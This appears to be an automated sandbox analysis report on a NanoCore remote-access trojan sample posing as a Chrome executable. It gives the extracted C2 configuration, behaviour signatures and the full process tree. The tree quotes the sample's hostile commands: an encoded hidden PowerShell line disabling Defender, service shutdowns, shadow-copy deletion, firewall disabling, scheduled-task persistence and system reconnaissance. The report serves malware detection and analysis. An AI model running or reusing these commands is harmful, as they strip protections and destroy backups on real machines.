Analysis

  • max time kernel
    150s
  • max time network
    146s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/09/2026, 01:41

General

  • Target
    cognu.io_chrome.exe
  • Size 57KB
  • Sample260907-b4dp8swfmd
  • SHA256 a2aa333672119aef2713ddd8423189c95472ee018aa2cec3bb8f21384fe97cad
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://cognu.io

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://cognu.io

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\cognu.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\cognu.io_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4660
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3600
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4424
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4128
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:2744
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:3704
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3868
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:4884
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:2024
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:988
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4172
      • C:\Users\Admin\AppData\Local\Temp\cognu.io_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\cognu.io_chrome.exe"
        3⤵
          PID:2920
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:4516
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:3604
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:1768
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2304
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:4820
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cognu.io_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2600
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\cognu.io_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1768
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5688
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:4372
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3312
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3120
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:4064
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4088
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          PID:3920
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4420
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
            PID:1208
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4748
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1784
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:2204
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4640
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:1652
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:876
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              PID:2580
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cognu.io_chrome.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2236
          • C:\Windows\System32\wscript.exe
            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
            2⤵
            • Executes a VBScript file via the Windows Script Host.
            PID:2680
          • C:\Windows\System32\notepad.exe
            "C:\Windows\System32\notepad.exe"
            2⤵
              PID:292
            • C:\Windows\System32\vssadmin.exe
              "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
              2⤵
              • Interacts with shadow copies
              PID:1968
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                3⤵
                  PID:988
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:4336
                • C:\Windows\System32\Conhost.exe
                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  3⤵
                    PID:2024
                • C:\Windows\System32\net.exe
                  "C:\Windows\System32\net.exe" stop srservice
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5760
                  • C:\Windows\System32\Conhost.exe
                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                    3⤵
                      PID:3868
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop srservice
                      3⤵
                        PID:2876
                    • C:\Windows\System32\netsh.exe
                      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                      2⤵
                      • Modifies Windows Firewall
                      • Event Triggered Execution: Netsh Helper DLL
                      PID:5312
                    • C:\Windows\System32\sc.exe
                      "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:5360
                    • C:\Windows\System32\sc.exe
                      "C:\Windows\System32\sc.exe" stop i8042prt
                      2⤵
                      • Launches sc.exe
                      PID:3196
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1572
                  • C:\Users\Admin\AppData\Local\Temp\cognu.io_chrome.exe
                    C:\Users\Admin\AppData\Local\Temp\cognu.io_chrome.exe
                    1⤵
                      PID:4852
                    • C:\Users\Admin\AppData\Local\Temp\cognu.io_chrome.exe
                      C:\Users\Admin\AppData\Local\Temp\cognu.io_chrome.exe
                      1⤵
                        PID:4632

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            scr_20260907_024326.jpg

                            • Path C:\ProgramData\SysUpdate\Scr\scr_20260907_024326.jpg
                            • Size 99KB
                            • SHA256 645c10740bf8d8ec64029231457b7812240e42d190e43010393151f8989bb694
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            invoice_1.pdf

                            • Path C:\ProgramData\invoice_1.pdf
                            • Size 76KB
                            • SHA256 a1a47d0921d53384dab61d2a8fdbc319121031484f63aac3a2f9e14275c4601b
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            doc_3.pdf

                            • Path C:\SystemVolumeInformation\doc_3.pdf
                            • Size 76KB
                            • SHA256 9572cde696423cac3ce01becd1a294fea6591284d06fd5d0fe22496c7378b006
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            createshortcut.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                            • Size 240B
                            • SHA256 7877576474600e8f066cb0a3d2c6810a95c6e35afdd3a6af074f55410c5cd8b6
                            • MD5 SHA1 SHA512 TLSH

                            del.bat

                            • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                            • Size 59B
                            • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                            • MD5 SHA1 SHA512 TLSH

                            makelnk.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                            • Size 241B
                            • SHA256 baacb6edf24586226e969fa5373610ab86b1ec0f91bec6b5c5182c3cd1358702
                            • MD5 SHA1 SHA512 TLSH

                            temp_steal.log

                            • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                            • Size 132KB
                            • SHA256 1da8b7a71e828cd2d5e932af38234650b88fb539a71d0010e53475f5bec625ef
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            stolen_data_here.txt

                            • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                            • Size 132KB
                            • SHA256 675e547be84b891dd51d10ca1734064d1d4da9d5ff74f5970242855c3305bd9b
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/292-2271-0x0000023280000000-0x0000023280001000-memory.dmp

                            memory/3600-11-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/3600-26-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/3600-16-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/3600-18-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/3600-19-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/3600-20-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/3600-23-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/3600-22-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/3600-15-0x00000205D4AA0000-0x00000205D4AC2000-memory.dmp

                            memory/3600-10-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/3600-21-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/3600-30-0x00000205D4E60000-0x00000205D4E7E000-memory.dmp

                            memory/3600-31-0x00000205D4E80000-0x00000205D4F32000-memory.dmp

                            memory/3600-41-0x00000205D4F40000-0x00000205D4F4A000-memory.dmp

                            memory/3600-2126-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/3600-17-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/3600-12-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/4660-24-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/4660-7-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/4660-0-0x00007FFAB4A8F000-0x00007FFAB4A90000-memory.dmp

                            memory/4660-6-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/4660-5-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/4660-2270-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/4660-4-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/4660-2278-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/4660-2279-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/4660-2281-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/4660-3-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/4660-2-0x00007FFAB4900000-0x00007FFAB52A4000-memory.dmp

                            memory/4660-1-0x0000000000FB0000-0x0000000000FC4000-memory.dmp